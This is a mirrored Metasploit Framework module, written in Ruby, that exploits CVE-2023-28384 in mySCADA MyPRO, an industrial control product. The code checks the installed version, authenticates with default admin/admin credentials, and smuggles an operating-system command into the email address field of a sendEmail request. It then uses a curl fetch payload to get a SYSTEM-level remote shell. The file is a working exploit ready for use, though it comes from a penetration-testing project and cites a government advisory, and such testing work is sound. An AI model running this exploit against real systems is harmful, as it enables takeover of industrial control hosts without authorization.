Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/mypro_cmdexe.rb
29131 views
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::HttpClient
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',
11
'Description' => %q{
12
Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.
13
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
14
},
15
'License' => MSF_LICENSE,
16
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17
'References' => [
18
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],
19
[ 'CVE', '2023-28384']
20
],
21
'DisclosureDate' => '2022-09-22',
22
'Platform' => 'win',
23
'Targets' => [
24
[
25
'Windows_Fetch',
26
{
27
'Arch' => [ ARCH_CMD ],
28
'Platform' => 'win',
29
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
30
'Type' => :win_fetch
31
}
32
]
33
],
34
'DefaultTarget' => 0,
35
36
'Notes' => {
37
'Stability' => [CRASH_SAFE],
38
'Reliability' => [REPEATABLE_SESSION],
39
'SideEffects' => [IOC_IN_LOGS]
40
}
41
)
42
)
43
44
register_options(
45
[
46
OptString.new(
47
'USERNAME',
48
[ true, 'The username to authenticate with (default: admin)', 'admin' ]
49
),
50
OptString.new(
51
'PASSWORD',
52
[ true, 'The password to authenticate with (default: admin)', 'admin' ]
53
),
54
OptString.new(
55
'TARGETURI',
56
[ true, 'The URI for the MyPRO web interface', '/' ]
57
)
58
]
59
)
60
end
61
62
# Determine if the MyPRO instance runs a vulnerable version
63
def check
64
begin
65
res = send_request_cgi({
66
'method' => 'POST',
67
'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
68
'vars_post' => {
69
't' => '98'
70
}
71
})
72
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
73
return CheckCode::Unknown
74
end
75
76
if res && res.code == 200
77
data = res.get_json_document
78
version = data['V']
79
if version.nil?
80
return CheckCode::Unknown
81
else
82
vprint_status('Version retrieved: ' + version)
83
end
84
85
if Rex::Version.new(version) <= Rex::Version.new('8.28')
86
return CheckCode::Appears
87
else
88
return CheckCode::Safe
89
end
90
else
91
return CheckCode::Unknown
92
end
93
end
94
95
def exploit
96
execute_command(payload.encoded)
97
end
98
99
def execute_command(cmd)
100
print_status('Checking credentials...')
101
check_auth
102
print_status('Sending command injection...')
103
exec_mypro(cmd)
104
print_status('Exploit finished, check thy shell.')
105
end
106
107
# Check if credentials are working
108
def check_auth
109
res = send_request_cgi({
110
'method' => 'GET',
111
'uri' => normalize_uri(target_uri.path, 'sss2'),
112
'headers' => {
113
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
114
}
115
})
116
117
unless res
118
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
119
end
120
case res.code
121
when 200
122
print_good('Credentials are working.')
123
when 401
124
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
125
else
126
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
127
end
128
end
129
130
# Send command injection
131
def exec_mypro(cmd)
132
post_data = {
133
'type' => 'sendEmail',
134
'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"
135
}
136
post_json = JSON.generate(post_data)
137
138
res = send_request_cgi({
139
'method' => 'POST',
140
'ctype' => 'application/json',
141
'data' => post_json,
142
'uri' => normalize_uri(target_uri.path, 'sss2'),
143
'headers' => {
144
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
145
}
146
147
})
148
149
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
150
151
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
152
print_good('Command successfully executed, check your shell.')
153
end
154
end
155
156
end
157
158